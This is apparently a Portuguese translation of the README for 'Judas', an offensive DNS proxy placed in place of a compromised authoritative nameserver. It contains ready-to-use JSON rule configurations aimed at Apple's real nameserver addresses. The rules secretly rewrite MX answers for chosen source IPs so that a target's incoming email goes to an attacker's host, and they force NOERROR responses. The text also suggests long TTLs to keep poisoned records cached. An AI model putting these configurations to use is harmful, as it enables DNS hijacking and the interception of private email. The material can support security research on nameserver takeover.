
Ataques de envenenamento de DNS em servidores de nomes facilitados
,,
`7MMF' `7MM `7MM"""Yb. `7MN. `7MF'.M"""bgd
MM MM MM `Yb. MMN. M ,MI "Y
MM `7MM `7MM ,M""bMM ,6"Yb. ,pP"Ybd MM `Mb M YMb M `MMb.
MM MM MM ,AP MM 8) MM 8I `" MM MM M `MN. M `YMMNq.
MM MM MM 8MI MM ,pm9MM `YMMMa. MM ,MP M `MM.M . `MM
(O) MM MM MM `Mb MM 8M MM L. I8 MM ,dP' M YMM Mb dM
Ymmm9 `Mbod"YML.`Wbmd"MML.`Moo9^Yo.M9mmmP' .JMMmmmdP' .JML. YM P"Ybmmd"
Ataques de envenenamento de DNS simplificados
Um servidor proxy DNS criado para ser implantado no lugar de um servidor de nomes comprometido para realizar exploração direcionada. Judas funciona encaminhando todas as consultas DNS para os servidores de nomes legítimos de um domínio. A mágica está nas regras de configuração do Judas, que permitem alterar as respostas DNS dependendo do IP de origem ou do tipo de consulta DNS. Isso permite que um atacante configure um servidor de nomes malicioso para fazer coisas como redirecionar seletivamente e-mails recebidos de faixas de IP específicas (através de registros MX modificados), definir TTLs extremamente longos para manter registros envenenados em cache, e muito mais.
Para mais informações sobre como assumir servidores de nomes e sequestrar DNS, veja o seguinte artigo intitulado "Respeite Minha Autoridade – Sequestrando Servidores de Nomes Quebrados para Comprometer Seu Alvo".
A seguir está um exemplo de configuração para o Judas em um cenário onde um atacante comprometeu/assumiu um dos servidores de nomes autoritativos da Apple (para apple.com):
{
"version": "1.0.0",
"port": 2248,
"dns_query_timeout": 10000,
"target_nameservers": [ "17.254.0.59", "17.254.0.50", "17.112.144.50", "17.112.144.59", "17.171.63.30", "17.171.63.40", "17.151.0.151", "17.151.0.152" ],
"rules": [
{
"name": "Redirecionar secretamente todos os e-mails vindo de 127.0.0.1!",
"query_type_matches": [ "MX" ],
"ip_range_matches": [ "127.0.0.1/32" ],
"modifications": [
{
"answer": [
{
"name": "apple.com",
"type": 15,
"class": 1,
"ttl": 10,
"priority": 10,
"exchange": "hacktheplace.localhost"
}
]
}
]
},
{
"name": "Fazer todas as respostas serem NOERROR mesmo se falharem.",
"query_type_matches": [ "*" ],
"modifications": [
{
"header": {
"rcode": 0
}
}
]
}
]
}
Os propósitos dos valores de configuração acima são os seguintes:
version: O formato da versão do arquivo de configuração (por enquanto é sempre 1.0.0).port: A porta na qual o Judas deve executar.dns_query_timeout: Quanto tempo esperar em milissegundos antes de desistir de uma resposta do servidor de nomes alvo upstream.target_nameservers: Os servidores de nomes legítimos para o seu domínio alvo, todas as consultas DNS serão enviadas para cá pelo Judas em nome de todos os clientes solicitantes.rules: Uma lista de regras com modificações na resposta DNS a serem aplicadas se houver correspondência.
name: Nome de uma determinada regra.query_type_matches: Lista de tipos de consulta para corresponder, como CNAME, A, etc. Um curinga (*) também pode ser especificado para corresponder a qualquer tipo de consulta.ip_range_matches: Lista de faixas de IP para corresponder. Para falsificar respostas seletivamente para uma faixa específica de IPs.As regras do Judas vêm com uma especificação modifications que é definida como uma lista de várias modificações a serem feitas na resposta DNS antes de ser enviada de volta ao cliente. É importante que você leia a documentação do node-dns para entender a estrutura da resposta DNS para que possa modificá-la.
Um exemplo de formato de resposta DNS é o seguinte:
{ header:
{ id: 25373,
qr: 1,
opcode: 0,
aa: 1,
tc: 0,
rd: 1,
ra: 0,
res1: 0,
res2: 0,
res3: 0,
rcode: 5 },
question: [ { name: 'apple.com', type: 2, class: 1 } ],
answer:
[ { name: 'apple.com',
type: 2,
class: 1,
ttl: 86400,
data: 'nserver2.apple.com' },
{ name: 'apple.com',
type: 2,
class: 1,
ttl: 86400,
data: 'nserver4.apple.com' },
{ name: 'apple.com',
type: 2,
class: 1,
ttl: 86400,
data: 'nserver.apple.com' },
{ name: 'apple.com',
type: 2,
class: 1,
ttl: 86400,
data: 'nserver3.apple.com' },
{ name: 'apple.com',
type: 2,
class: 1,
ttl: 86400,
data: 'nserver5.apple.com' },
{ name: 'apple.com',
type: 2,
class: 1,
ttl: 86400,
data: 'nserver6.apple.com' },
{ name: 'apple.com',
type: 2,
class: 1,
ttl: 86400,
data: 'adns2.apple.com' },
{ name: 'apple.com',
type: 2,
class: 1,
ttl: 86400,
data: 'adns1.apple.com' } ],
authority: [],
additional: [],
edns_options: [],
payload: undefined,
address: undefined,
...cortado por brevidade...
(Para mais informações sobre a estrutura de dados da resposta DNS, veja esta documentação.)
Escrever uma modificação é muito simples. Um exemplo de regra com modificação pode ser visto abaixo:
{
"name": "Fazer todas as respostas serem NOERROR mesmo se falharem.",
"query_type_matches": [ "*" ],
"modifications": [
{
"header": {
"rcode": 0
}
}
]
}
A regra acima corresponde a qualquer tipo de consulta (devido ao curinga (*)) e define o valor header.rcode da resposta DNS para 0. Qualquer objeto definido como elemento de modificação é mesclado na resposta DNS - substituindo qualquer valor originalmente definido.
Outro exemplo é o seguinte:
{
"name": "Redirecionar secretamente todos os e-mails vindo de 127.0.0.1!",
"query_type_matches": [ "MX" ],
"ip_range_matches": [ "127.0.0.1/32" ],
"modifications": [
{
"answer": [
{
"name": "apple.com",
"type": 15,
"class": 1,
"ttl": 10,
"priority": 10,
"exchange": "hacktheplace.localhost"
}
]
}
]
}
A regra acima corresponde a qualquer consulta MX vinda de 127.0.0.1. A resposta DNS é sobrescrita com um único registro MX para hacktheplace.localhost. Uma implementação real disso seria redirecionar e-mails recebidos de um IP específico para ler e-mails privados do seu alvo. Além disso, um atacante em um cenário real também pode optar por modificar o TTL da resposta para um valor muito alto, a fim de persistir seus registros maliciosos nos caches DNS do cliente pelo maior tempo possível.
A seguinte regra corresponderá ao endereço IP de um cliente:
{
"name": "Fazer todas as respostas solicitadas do localhost (127.0.0.1) serem NOERROR.",
"ip_range_matches": [ "127.0.0.1/32" ],
"modifications": [
{
"header": {
"rcode": 0
}
}
]
}
O campo ip_range_matches é definido como um array de faixas de IP que especificam as faixas alvo para aplicar a modificação na resposta. A omissão deste campo equivale a um curinga e corresponderá a todos os endereços IP de clientes.
A seguinte regra corresponderá a um tipo de consulta MX e CNAME e aplicará uma modificação na resposta de acordo:
{
"name": "Fazer todas as respostas serem NOERROR mesmo se falharem.",
"query_type_matches": [ "MX", "CNAME" ],
"modifications": [
{
"header": {
"rcode": 0
}
}
]
}
O campo query_type_matches é definido como um array de tipos de consulta para corresponder. A omissão deste campo equivale a um curinga e corresponderá a todos os tipos de consulta.
A seguinte regra corresponderá a um código de resposta NXDOMAIN e aplicará uma modificação na resposta de acordo:
{
"name": "Fazer todas as respostas solicitadas do localhost (127.0.0.1) serem NOERROR.",
"response_code_matches": [ "NXDOMAIN" ],
"modifications": [
{
"header": {
"rcode": 0
}
}
]
}
O campo response_code_matches é definido como um array de códigos de resposta para corresponder. A omissão deste campo equivale a um curinga e corresponderá a todos os tipos de RCODE.
modifications: Veja a seção "Modificações" deste README.